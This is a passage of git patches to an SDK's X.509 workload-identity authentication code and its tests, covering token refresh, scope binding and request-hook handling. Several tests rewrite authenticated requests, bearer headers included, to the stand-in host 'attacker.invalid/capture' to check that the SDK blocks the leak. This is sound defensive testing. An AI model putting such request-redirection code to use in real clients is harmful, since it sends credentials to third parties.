_record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + if redirect: + with pytest.raises(OpenAIError, match="configured API origin"): + await client.models.list() + else: + assert (await client.models.list()).object == "list" + + expected = [_TOKEN_URL] if redirect else [_TOKEN_URL, _API_URL] + assert [str(request.url) for request in requests] == expected + assert httpx2.AsyncClient.send is original_send + assert httpx2.AsyncClient._send_single_request is original_dispatch + if factory_delegate is not None: + assert factory_delegate.event_hooks["request"] == [redirect_request] + + +@pytest.mark.parametrize("authorization", [None, "Bearer telemetry-token"]) +def test_sync_x509_allows_telemetry_from_a_separately_created_http_client(authorization: str | None) -> None: + requests: list[httpx2.Request] = [] + + class TelemetryClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + telemetry = httpx2.Client(transport=httpx2.MockTransport(lambda value: _record(requests, value))) + headers = {} if authorization is None else {"Authorization": authorization} + telemetry.get("https://telemetry.example/collect", headers=headers) + return super().send(request, **kwargs) + + http_client = TelemetryClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert client.models.list().object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://telemetry.example/collect", _API_URL] + + +@pytest.mark.parametrize("authorization", [None, "Bearer telemetry-token"]) +async def test_async_x509_allows_telemetry_from_a_separately_created_http_client(authorization: str | None) -> None: + requests: list[httpx2.Request] = [] + + class TelemetryClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + telemetry = httpx2.AsyncClient(transport=httpx2.MockTransport(lambda value: _record(requests, value))) + headers = {} if authorization is None else {"Authorization": authorization} + await telemetry.get("https://telemetry.example/collect", headers=headers) + return await super().send(request, **kwargs) + + http_client = TelemetryClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert [str(request.url) for request in requests] == [_TOKEN_URL, "https://telemetry.example/collect", _API_URL] + + @pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") -def test_sync_x509_validates_requests_delegated_to_legacy_httpx_clients() -> None: +@pytest.mark.parametrize("lazy", [False, True]) +def test_sync_x509_validates_requests_delegated_to_legacy_httpx_clients(lazy: bool) -> None: legacy_httpx = cast(Any, importlib.import_module("httpx")) requests: list[Any] = [] @@ -423,12 +569,18 @@ def redirect(request: Any) -> None: request.headers["host"] = "attacker.invalid" outer = legacy_httpx.Client(transport=legacy_httpx.MockTransport(handler)) - outer.inner = legacy_httpx.Client( - transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} - ) + if not lazy: + outer.inner = legacy_httpx.Client( + transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} + ) def delegate(request: Any, **kwargs: Any) -> Any: - return outer.inner.send(request, **kwargs) + inner = ( + legacy_httpx.Client(transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]}) + if lazy + else outer.inner + ) + return inner.send(request, **kwargs) outer.send = delegate with OpenAI(workload_identity=_identity(), http_client=outer, max_retries=0) as client: @@ -439,7 +591,8 @@ def delegate(request: Any, **kwargs: Any) -> Any: @pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") -async def test_async_x509_validates_requests_delegated_to_legacy_httpx_clients() -> None: +@pytest.mark.parametrize("lazy", [False, True]) +async def test_async_x509_validates_requests_delegated_to_legacy_httpx_clients(lazy: bool) -> None: legacy_httpx = cast(Any, importlib.import_module("httpx")) requests: list[Any] = [] @@ -456,12 +609,18 @@ async def redirect(request: Any) -> None: request.headers["host"] = "attacker.invalid" outer = legacy_httpx.AsyncClient(transport=legacy_httpx.MockTransport(handler)) - outer.inner = legacy_httpx.AsyncClient( - transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} - ) + if not lazy: + outer.inner = legacy_httpx.AsyncClient( + transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]} + ) async def delegate(request: Any, **kwargs: Any) -> Any: - return await outer.inner.send(request, **kwargs) + inner = ( + legacy_httpx.AsyncClient(transport=legacy_httpx.MockTransport(handler), event_hooks={"request": [redirect]}) + if lazy + else outer.inner + ) + return await inner.send(request, **kwargs) outer.send = delegate async with AsyncOpenAI(workload_identity=_identity(), http_client=outer, max_retries=0) as client: @@ -471,6 +630,87 @@ async def delegate(request: Any, **kwargs: Any) -> Any: assert [str(request.url) for request in requests] == [_TOKEN_URL] +@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane") +@pytest.mark.parametrize("is_async", [False, True]) +def test_x509_guards_legacy_httpx_imported_by_a_lazy_delegate(is_async: bool) -> None: + script = dedent( + """ + import asyncio + import importlib + import sys + + import httpx2 + from openai import AsyncOpenAI, OpenAI, OpenAIError + from openai.auth import x509_workload_identity + + assert "httpx" not in sys.modules + captures = [] + + def handler(request): + captures.append(str(request.url)) + if request.url.host == "mtls.auth.openai.com": + return httpx2.Response( + 200, request=request, json={"access_token": "fake-access-token", "expires_in": 3600} + ) + return httpx2.Response(200, request=request, json={"object": "list", "data": []}) + + def redirect(request): + legacy = importlib.import_module("httpx") + request.url = legacy.URL("https://attacker.invalid/capture") + request.headers["host"] = "attacker.invalid" + + identity = x509_workload_identity(identity_provider_id="idp_example", service_account_id="svc_example") + + if sys.argv[1] == "async": + class Outer(httpx2.AsyncClient): + async def send(self, request, **kwargs): + legacy = importlib.import_module("httpx") + + async def hook(value): + redirect(value) + + inner = legacy.AsyncClient(transport=legacy.MockTransport(handler), event_hooks={"request": [hook]}) + copied = legacy.Request(request.method, str(request.url), headers=dict(request.headers)) + kwargs["auth"] = None + return await inner.send(copied, **kwargs) + + async def run(): + outer = Outer(transport=httpx2.MockTransport(handler)) + async with AsyncOpenAI(workload_identity=identity, http_client=outer, max_retries=0) as client: + try: + await client.models.list() + except OpenAIError: + return + raise AssertionError("redirected X.509 request was not blocked") + + asyncio.run(run()) + else: + class Outer(httpx2.Client): + def send(self, request, **kwargs): + legacy = importlib.import_module("httpx") + inner = legacy.Client(transport=legacy.MockTransport(handler), event_hooks={"request": [redirect]}) + copied = legacy.Request(request.method, str(request.url), headers=dict(request.headers)) + kwargs["auth"] = None + return inner.send(copied, **kwargs) + + outer = Outer(transport=httpx2.MockTransport(handler)) + with OpenAI(workload_identity=identity, http_client=outer, max_retries=0) as client: + try: + client.models.list() + except OpenAIError: + pass + else: + raise AssertionError("redirected X.509 request was not blocked") + + assert captures == ["https://mtls.auth.openai.com/oauth/token"], captures + """ + ) + result = subprocess.run( + [sys.executable, "-c", script, "async" if is_async else "sync"], capture_output=True, check=False, text=True + ) + assert result.returncode == 0, result.stderr + + @pytest.mark.parametrize("reconstruct", [False, True]) def test_sync_x509_validates_requests_dispatched_by_custom_clients_in_another_thread(reconstruct: bool) -> None: requests: list[httpx2.Request] = [] From 928aef860e72192c60788c433b62bf44f8d48d8a Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 10:30:25 -0700 Subject: [PATCH 06/13] fix(auth): harden X.509 scope binding and refresh coordination --- src/openai/auth/_x509.py | 31 +++++- .../test_x509_workload_identity_hardening.py | 100 ++++++++++++++++-- .../test_x509_workload_identity_transport.py | 20 +++- 3 files changed, 137 insertions(+), 14 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index a52333023f..41fcf09f0b 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -91,7 +91,10 @@ def _is_unprotected_transport_request(request: httpx2.Request) -> bool: with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: if type(marker) is object and marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: current_authorization = request.headers.get("Authorization") - if marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS and current_authorization is not None: + originating_request = _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES[marker][0] + if ( + marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS or request is not originating_request + ) and current_authorization is not None: for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): if active_authorization is None: continue @@ -436,6 +439,13 @@ def request_scope(self, request: httpx2.Request) -> tuple[httpx2.Request, httpx2 ] if not matching_authorization: return None + exact_authorization = [ + (marker, active_scope) + for marker, active_scope in matching_authorization + if request_authorization == active_scope[2] + ] + if exact_authorization: + matching_authorization = exact_authorization if len({(active_scope[1].host, active_scope[1].port) for _, active_scope in matching_authorization}) > 1: raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") same_origin = [ @@ -617,6 +627,9 @@ def _active_request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Req ] if not matching_scopes: return None + exact_scopes = [scope for scope in matching_scopes if authorization == scope[2]] + if exact_scopes: + matching_scopes = exact_scopes if len({(scope[1].host, scope[1].port) for scope in matching_scopes}) > 1: raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") same_origin = [ @@ -1079,6 +1092,14 @@ def _usable_token_after_transient_failure(self) -> str | None: self._cached_token_refresh_at_monotonic = time.monotonic() + INITIAL_RETRY_DELAY return self._cached_token + @override + def _perform_refresh(self) -> None: + try: + super()._perform_refresh() + except (APIConnectionError, _TransientTokenExchangeError): + if self._usable_token_after_transient_failure() is None: + raise + def _handle_exchange_response(self, response: httpx2.Response) -> dict[str, Any]: try: return self._handle_token_response(response) @@ -1211,7 +1232,13 @@ async def get_token_async(self) -> str: if not self._token_unusable() and not self._needs_refresh(): return cast(str, self._cached_token) - token_data = await self._fetch_token_from_exchange_async() + try: + token_data = await self._fetch_token_from_exchange_async() + except (APIConnectionError, _TransientTokenExchangeError): + token = self._usable_token_after_transient_failure() + if token is None: + raise + return token self._store_token(token_data) with self._lock: return cast(str, self._cached_token) diff --git a/tests/test_x509_workload_identity_hardening.py b/tests/test_x509_workload_identity_hardening.py index 8b10c1c534..03fcae325b 100644 --- a/tests/test_x509_workload_identity_hardening.py +++ b/tests/test_x509_workload_identity_hardening.py @@ -512,6 +512,82 @@ def handler(request: httpx2.Request) -> httpx2.Response: await client.models.list() +def test_sync_x509_shares_failed_proactive_refresh_across_concurrent_requests( + monkeypatch: pytest.MonkeyPatch, +) -> None: + exchange_count = 0 + count_lock = threading.Lock() + fallback_started = threading.Event() + release_fallback = threading.Event() + + def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + with count_lock: + exchange_count += 1 + current_count = exchange_count + if current_count > 1: + time.sleep(0.025) + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + with OpenAI( + workload_identity=_identity(), http_client=httpx2.Client(transport=httpx2.MockTransport(handler)), max_retries=0 + ) as client: + client.models.list() + auth = client._workload_identity_auth + assert isinstance(auth, x509_auth.SyncX509WorkloadIdentityAuth) + auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + fallback = auth._usable_token_after_transient_failure + + def delayed_fallback() -> str | None: + fallback_started.set() + assert release_fallback.wait(timeout=5) + return fallback() + + monkeypatch.setattr(auth, "_usable_token_after_transient_failure", delayed_fallback) + + with ThreadPoolExecutor(max_workers=6) as executor: + first = executor.submit(client.models.list) + assert fallback_started.wait(timeout=5) + waiters = [executor.submit(client.models.list) for _ in range(5)] + time.sleep(0.05) + release_fallback.set() + assert [result.result(timeout=5).object for result in [first, *waiters]] == ["list"] * 6 + + assert exchange_count == 2 + + +async def test_async_x509_shares_failed_proactive_refresh_across_concurrent_requests() -> None: + exchange_count = 0 + + async def handler(request: httpx2.Request) -> httpx2.Response: + nonlocal exchange_count + if str(request.url) == _TOKEN_URL: + exchange_count += 1 + if exchange_count > 1: + await asyncio.sleep(0.025) + raise httpx2.ConnectError("temporary failure", request=request) + return _response(request) + + async with AsyncOpenAI( + workload_identity=_identity(), + http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler)), + max_retries=0, + ) as client: + await client.models.list() + auth = client._workload_identity_auth + assert auth is not None + auth._cached_token_refresh_at_monotonic = time.monotonic() - 1 + + async def list_models() -> str: + return (await client.models.list()).object + + assert await asyncio.gather(*(list_models() for _ in range(6))) == ["list"] * 6 + + assert exchange_count == 2 + + @pytest.mark.parametrize( ("status_code", "headers"), [(429, {}), (500, {}), (503, {}), (418, {"x-should-retry": "true"}), (425, {"x-should-retry": "true"})], @@ -718,20 +794,24 @@ def test_x509_rejects_non_string_identity_identifiers( @pytest.mark.parametrize("replace_authorization", [False, True]) +@pytest.mark.parametrize("overlapping_tokens", [False, True]) def test_sync_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity( - replace_authorization: bool, + replace_authorization: bool, overlapping_tokens: bool ) -> None: arrived = threading.Barrier(2) + tokens = ( + {"one": "token", "two": "token.extended"} if overlapping_tokens else {"one": "token-one", "two": "token-two"} + ) def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: identity = json.loads(request.content)["identity_provider_id"] - return _response(request, token=f"token-{identity.rsplit('-', 1)[-1]}") + return _response(request, token=tokens[identity.rsplit("-", 1)[-1]]) return _response(request) def replace(request: httpx2.Request) -> None: - if replace_authorization and request.headers.get("Authorization") == "Bearer token-two": - request.headers["Authorization"] = "Bearer token-one" + if replace_authorization and request.headers.get("Authorization") == f"Bearer {tokens['two']}": + request.headers["Authorization"] = f"Bearer {tokens['one']}" class CrossThreadClient(httpx2.Client): @override @@ -762,21 +842,25 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: @pytest.mark.parametrize("replace_authorization", [False, True]) +@pytest.mark.parametrize("overlapping_tokens", [False, True]) async def test_async_x509_pins_concurrent_reconstructed_requests_to_the_correct_identity( - replace_authorization: bool, + replace_authorization: bool, overlapping_tokens: bool ) -> None: arrived = 0 both_arrived = asyncio.Event() + tokens = ( + {"one": "token", "two": "token.extended"} if overlapping_tokens else {"one": "token-one", "two": "token-two"} + ) def handler(request: httpx2.Request) -> httpx2.Response: if str(request.url) == _TOKEN_URL: identity = json.loads(request.content)["identity_provider_id"] - return _response(request, token=f"token-{identity.rsplit('-', 1)[-1]}") + return _response(request, token=tokens[identity.rsplit("-", 1)[-1]]) return _response(request) async def replace(request: httpx2.Request) -> None: - if replace_authorization and request.headers.get("Authorization") == "Bearer token-two": - request.headers["Authorization"] = "Bearer token-one" + if replace_authorization and request.headers.get("Authorization") == f"Bearer {tokens['two']}": + request.headers["Authorization"] = f"Bearer {tokens['one']}" class CrossContextClient(httpx2.AsyncClient): @override diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index 225ee0a738..b8f9948130 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -1470,8 +1470,9 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ("ordinary_origin", "ordinary_api_key"), [("https://nested.example/v1", "nested-api-key"), ("https://attacker.invalid/v1", "access-token")], ) +@pytest.mark.parametrize("copy_ordinary_marker", [False, True]) def test_sync_x509_rejects_redirected_protected_requests_nested_inside_ordinary_requests( - ordinary_origin: str, ordinary_api_key: str + ordinary_origin: str, ordinary_api_key: str, copy_ordinary_marker: bool ) -> None: requests: list[httpx2.Request] = [] ordinary_host = httpx2.URL(ordinary_origin).host @@ -1481,6 +1482,7 @@ def __init__(self) -> None: self.depth = 0 self.ordinary: OpenAI | None = None self.protected: OpenAI | None = None + self.ordinary_extensions: dict[str, Any] = {} super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) @override @@ -1490,10 +1492,14 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: self.ordinary.models.list() elif request.url.host == ordinary_host and self.depth == 1 and self.protected is not None: self.depth = 2 + self.ordinary_extensions = dict(request.extensions) self.protected.models.list() elif request.url.host == "mtls.api.openai.com" and self.depth == 2: request = httpx2.Request( - request.method, "https://attacker.invalid/capture", headers=dict(request.headers) + request.method, + "https://attacker.invalid/capture", + headers=dict(request.headers), + extensions=self.ordinary_extensions if copy_ordinary_marker else None, ) request.headers["host"] = "attacker.invalid" return super().send(request, **kwargs) @@ -1515,8 +1521,9 @@ def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ("ordinary_origin", "ordinary_api_key"), [("https://nested.example/v1", "nested-api-key"), ("https://attacker.invalid/v1", "access-token")], ) +@pytest.mark.parametrize("copy_ordinary_marker", [False, True]) async def test_async_x509_rejects_redirected_protected_requests_nested_inside_ordinary_requests( - ordinary_origin: str, ordinary_api_key: str + ordinary_origin: str, ordinary_api_key: str, copy_ordinary_marker: bool ) -> None: requests: list[httpx2.Request] = [] ordinary_host = httpx2.URL(ordinary_origin).host @@ -1526,6 +1533,7 @@ def __init__(self) -> None: self.depth = 0 self.ordinary: AsyncOpenAI | None = None self.protected: AsyncOpenAI | None = None + self.ordinary_extensions: dict[str, Any] = {} super().__init__(transport=httpx2.MockTransport(lambda request: _record(requests, request))) @override @@ -1535,10 +1543,14 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: await self.ordinary.models.list() elif request.url.host == ordinary_host and self.depth == 1 and self.protected is not None: self.depth = 2 + self.ordinary_extensions = dict(request.extensions) await self.protected.models.list() elif request.url.host == "mtls.api.openai.com" and self.depth == 2: request = httpx2.Request( - request.method, "https://attacker.invalid/capture", headers=dict(request.headers) + request.method, + "https://attacker.invalid/capture", + headers=dict(request.headers), + extensions=self.ordinary_extensions if copy_ordinary_marker else None, ) request.headers["host"] = "attacker.invalid" return await super().send(request, **kwargs) From a5f2701ff57cfac90c9a68a3a2f410fea1dda545 Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 10:49:36 -0700 Subject: [PATCH 07/13] fix(auth): preserve caller-owned X.509 request hook lists --- src/openai/auth/_x509.py | 151 +++++++++++- .../test_x509_workload_identity_transport.py | 223 ++++++++++++++++++ 2 files changed, 371 insertions(+), 3 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 41fcf09f0b..569a386833 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -6,7 +6,7 @@ import importlib import threading import email.utils -from typing import Any, Iterator, NoReturn, cast +from typing import Any, Iterable, Iterator, NoReturn, SupportsIndex, cast from weakref import ReferenceType, ref from functools import wraps from contextlib import ExitStack, contextmanager @@ -345,15 +345,160 @@ async def aclose(self) -> None: class _FinalizingRequestHooks(list[Any]): def __init__(self, hooks: list[Any], finalizer: Any) -> None: super().__init__(hooks) + self._hooks = hooks self._finalizer = finalizer + def _synchronize(self) -> None: + super().clear() + super().extend(self._hooks) + + @override + def __len__(self) -> int: + return len(self._hooks) + + @override + def __repr__(self) -> str: + return repr(self._hooks) + + @override + def __str__(self) -> str: + return str(self._hooks) + + @override + def __eq__(self, other: object) -> bool: + return self._hooks == (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) + + @override + def __ne__(self, other: object) -> bool: + return not self == other + + @override + def __lt__(self, other: Any) -> bool: + return self._hooks < (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) + + @override + def __le__(self, other: Any) -> bool: + return self._hooks <= (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) + + @override + def __gt__(self, other: Any) -> bool: + return self._hooks > (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) + + @override + def __ge__(self, other: Any) -> bool: + return self._hooks >= (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) + + @override + def __getitem__(self, index: Any) -> Any: + return self._hooks[index] + + @override + def __setitem__(self, index: Any, value: Any) -> None: + if isinstance(index, slice) and isinstance(value, _FinalizingRequestHooks): + value = value._hooks.copy() + self._hooks[index] = value + self._synchronize() + + @override + def __delitem__(self, index: Any) -> None: + del self._hooks[index] + self._synchronize() + + @override + def __contains__(self, hook: object) -> bool: + return hook in self._hooks + + @override + def __add__(self, hooks: list[Any]) -> list[Any]: + return self._hooks + (hooks._hooks if isinstance(hooks, _FinalizingRequestHooks) else hooks) + + def __radd__(self, hooks: list[Any]) -> list[Any]: + return hooks + self._hooks + + @override + def __mul__(self, count: SupportsIndex) -> list[Any]: + return self._hooks * count + + @override + def __rmul__(self, count: SupportsIndex) -> list[Any]: + return count * self._hooks + + @override + def __iadd__(self, hooks: Iterable[Any]) -> _FinalizingRequestHooks: + self._hooks.extend(hooks._hooks.copy() if isinstance(hooks, _FinalizingRequestHooks) else hooks) + self._synchronize() + return self + + @override + def __imul__(self, count: SupportsIndex) -> _FinalizingRequestHooks: + self._hooks *= count + self._synchronize() + return self + + @override + def append(self, hook: Any) -> None: + self._hooks.append(hook) + self._synchronize() + + @override + def clear(self) -> None: + self._hooks.clear() + self._synchronize() + + @override + def count(self, hook: Any) -> int: + return self._hooks.count(hook) + + @override + def extend(self, hooks: Iterable[Any]) -> None: + self._hooks.extend(hooks._hooks.copy() if isinstance(hooks, _FinalizingRequestHooks) else hooks) + self._synchronize() + + @override + def index(self, hook: Any, *args: Any) -> int: + return self._hooks.index(hook, *args) + + @override + def insert(self, index: SupportsIndex, hook: Any) -> None: + self._hooks.insert(index, hook) + self._synchronize() + + @override + def pop(self, index: SupportsIndex = -1) -> Any: + hook = self._hooks.pop(index) + self._synchronize() + return hook + + @override + def remove(self, hook: Any) -> None: + self._hooks.remove(hook) + self._synchronize() + + @override + def reverse(self) -> None: + self._hooks.reverse() + self._synchronize() + + @override + def sort(self, *, key: Any = None, reverse: bool = False) -> None: + self._hooks.sort(key=key, reverse=reverse) + self._synchronize() + + @override + def copy(self) -> list[Any]: + return self._hooks.copy() + + @override + def __reversed__(self) -> Iterator[Any]: + return reversed(self._hooks) + @override def __iter__(self) -> Iterator[Any]: finalizer = self._finalizer yield finalizer index = 0 - while index < len(self): - hook = self[index] + while index < len(self._hooks): + hook = self._hooks[index] index += 1 yield hook yield finalizer diff --git a/tests/test_x509_workload_identity_transport.py b/tests/test_x509_workload_identity_transport.py index b8f9948130..161f32de93 100644 --- a/tests/test_x509_workload_identity_transport.py +++ b/tests/test_x509_workload_identity_transport.py @@ -18,6 +18,7 @@ from openai import OpenAI, AsyncOpenAI, OpenAIError from openai.auth import X509WorkloadIdentity, x509_workload_identity +from openai.auth._x509 import _FinalizingRequestHooks _TOKEN_URL = "https://mtls.auth.openai.com/oauth/token" _API_URL = "https://mtls.api.openai.com/v1/models" @@ -861,6 +862,228 @@ async def initial(_request: httpx2.Request) -> None: assert calls == ["initial", "appended", "initial", "appended"] +@pytest.mark.parametrize( + "mutation", + [ + "remove", + "append", + "mixed", + "extend", + "insert", + "pop", + "setitem", + "slice", + "delete", + "iadd", + "imul", + "self_extend", + "self_iadd", + "self_slice", + ], +) +def test_sync_x509_preserves_mutations_through_retained_request_hook_lists(mutation: str) -> None: + calls: list[str] = [] + http_client = httpx2.Client(transport=httpx2.MockTransport(_response)) + retained_hooks = http_client.event_hooks["request"] + + def appended(_request: httpx2.Request) -> None: + calls.append("appended") + + def initial(_request: httpx2.Request) -> None: + calls.append("initial") + scoped_hooks = http_client.event_hooks["request"] + if mutation == "remove": + retained_hooks.remove(initial) + elif mutation == "append": + if appended not in retained_hooks: + retained_hooks.append(appended) + assert scoped_hooks == retained_hooks + assert scoped_hooks + [] == retained_hooks + assert [] + scoped_hooks == retained_hooks + assert scoped_hooks * 2 == retained_hooks * 2 + assert 2 * scoped_hooks == 2 * retained_hooks + assert list(reversed(scoped_hooks)) == list(reversed(retained_hooks)) + assert repr(scoped_hooks) == repr(retained_hooks) + elif mutation == "mixed": + retained_hooks.remove(initial) + scoped_hooks.append(appended) + elif mutation == "extend" and appended not in scoped_hooks: + scoped_hooks.extend([appended]) + elif mutation == "insert" and appended not in scoped_hooks: + scoped_hooks.insert(len(scoped_hooks), appended) + elif mutation == "pop": + scoped_hooks.pop(0) + elif mutation == "setitem": + scoped_hooks[0] = appended + elif mutation == "slice": + scoped_hooks[:] = [appended] + elif mutation == "delete": + del scoped_hooks[0] + elif mutation == "iadd" and appended not in scoped_hooks: + scoped_hooks += [appended] + elif mutation == "imul" and len(scoped_hooks) == 1: + scoped_hooks *= 2 + elif mutation == "self_extend" and len(scoped_hooks) == 1: + scoped_hooks.extend(scoped_hooks) + elif mutation == "self_iadd" and len(scoped_hooks) == 1: + scoped_hooks += scoped_hooks + elif mutation == "self_slice": + scoped_hooks[:] = scoped_hooks + + retained_hooks.append(initial) + with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + client.models.list() + assert http_client.event_hooks["request"] is retained_hooks + expected_hooks = ( + [] + if mutation in ("remove", "pop", "delete") + else [appended] + if mutation in ("mixed", "setitem", "slice") + else [initial, initial] + if mutation in ("imul", "self_extend", "self_iadd") + else [initial] + if mutation == "self_slice" + else [initial, appended] + ) + assert retained_hooks == expected_hooks + client.models.list() + + expected_calls = ( + ["initial"] + if mutation in ("remove", "pop", "delete") + else ["initial", "appended"] + if mutation in ("mixed", "setitem", "slice") + else ["initial"] * 4 + if mutation in ("imul", "self_extend", "self_iadd") + else ["initial", "initial"] + if mutation == "self_slice" + else ["initial", "appended", "initial", "appended"] + ) + assert calls == expected_calls + + +@pytest.mark.parametrize( + "mutation", + [ + "remove", + "append", + "mixed", + "extend", + "insert", + "pop", + "setitem", + "slice", + "delete", + "iadd", + "imul", + "self_extend", + "self_iadd", + "self_slice", + ], +) +async def test_async_x509_preserves_mutations_through_retained_request_hook_lists(mutation: str) -> None: + calls: list[str] = [] + http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(_response)) + retained_hooks = http_client.event_hooks["request"] + + async def appended(_request: httpx2.Request) -> None: + calls.append("appended") + + async def initial(_request: httpx2.Request) -> None: + calls.append("initial") + scoped_hooks = http_client.event_hooks["request"] + if mutation == "remove": + retained_hooks.remove(initial) + elif mutation == "append": + if appended not in retained_hooks: + retained_hooks.append(appended) + assert scoped_hooks == retained_hooks + assert scoped_hooks + [] == retained_hooks + assert [] + scoped_hooks == retained_hooks + assert scoped_hooks * 2 == retained_hooks * 2 + assert 2 * scoped_hooks == 2 * retained_hooks + assert list(reversed(scoped_hooks)) == list(reversed(retained_hooks)) + assert repr(scoped_hooks) == repr(retained_hooks) + elif mutation == "mixed": + retained_hooks.remove(initial) + scoped_hooks.append(appended) + elif mutation == "extend" and appended not in scoped_hooks: + scoped_hooks.extend([appended]) + elif mutation == "insert" and appended not in scoped_hooks: + scoped_hooks.insert(len(scoped_hooks), appended) + elif mutation == "pop": + scoped_hooks.pop(0) + elif mutation == "setitem": + scoped_hooks[0] = appended + elif mutation == "slice": + scoped_hooks[:] = [appended] + elif mutation == "delete": + del scoped_hooks[0] + elif mutation == "iadd" and appended not in scoped_hooks: + scoped_hooks += [appended] + elif mutation == "imul" and len(scoped_hooks) == 1: + scoped_hooks *= 2 + elif mutation == "self_extend" and len(scoped_hooks) == 1: + scoped_hooks.extend(scoped_hooks) + elif mutation == "self_iadd" and len(scoped_hooks) == 1: + scoped_hooks += scoped_hooks + elif mutation == "self_slice": + scoped_hooks[:] = scoped_hooks + + retained_hooks.append(initial) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + await client.models.list() + assert http_client.event_hooks["request"] is retained_hooks + expected_hooks = ( + [] + if mutation in ("remove", "pop", "delete") + else [appended] + if mutation in ("mixed", "setitem", "slice") + else [initial, initial] + if mutation in ("imul", "self_extend", "self_iadd") + else [initial] + if mutation == "self_slice" + else [initial, appended] + ) + assert retained_hooks == expected_hooks + await client.models.list() + + expected_calls = ( + ["initial"] + if mutation in ("remove", "pop", "delete") + else ["initial", "appended"] + if mutation in ("mixed", "setitem", "slice") + else ["initial"] * 4 + if mutation in ("imul", "self_extend", "self_iadd") + else ["initial", "initial"] + if mutation == "self_slice" + else ["initial", "appended", "initial", "appended"] + ) + assert calls == expected_calls + + +@pytest.mark.parametrize("mutation", ["extend", "iadd", "slice"]) +def test_x509_hook_list_composition_never_retains_private_validation_callbacks(mutation: str) -> None: + first_hooks: list[Any] = [object()] + second_hooks: list[Any] = [object()] + first_validator = object() + second_validator = object() + first = _FinalizingRequestHooks(first_hooks, first_validator) + second = _FinalizingRequestHooks(second_hooks, second_validator) + + if mutation == "extend": + first.extend(second) + elif mutation == "iadd": + first += second + else: + first[:] = second + + assert first_validator not in first_hooks + assert second_validator not in first_hooks + expected = second_hooks if mutation == "slice" else [first_hooks[0], *second_hooks] + assert first_hooks == expected + + def test_sync_x509_preserves_custom_client_send_and_response_encoding() -> None: class RecordingClient(httpx2.Client): def __init__(self) -> None: From 7f63c0eafb9707d10060648525c9831f12ac673d Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 11:17:21 -0700 Subject: [PATCH 08/13] fix(auth): distinguish auxiliary requests from protected traffic --- src/openai/auth/_x509.py | 159 ++++++----- .../test_x509_workload_identity_transport.py | 247 ++++++++++++++++-- 2 files changed, 324 insertions(+), 82 deletions(-) diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index 569a386833..a0f01ab770 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -11,6 +11,7 @@ from functools import wraps from contextlib import ExitStack, contextmanager from contextvars import ContextVar +from urllib.parse import unquote from typing_extensions import TypeIs, override import anyio @@ -90,16 +91,12 @@ def _is_unprotected_transport_request(request: httpx2.Request) -> bool: contextual_marker = _UNPROTECTED_TRANSPORT_SCOPE.get() with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: if type(marker) 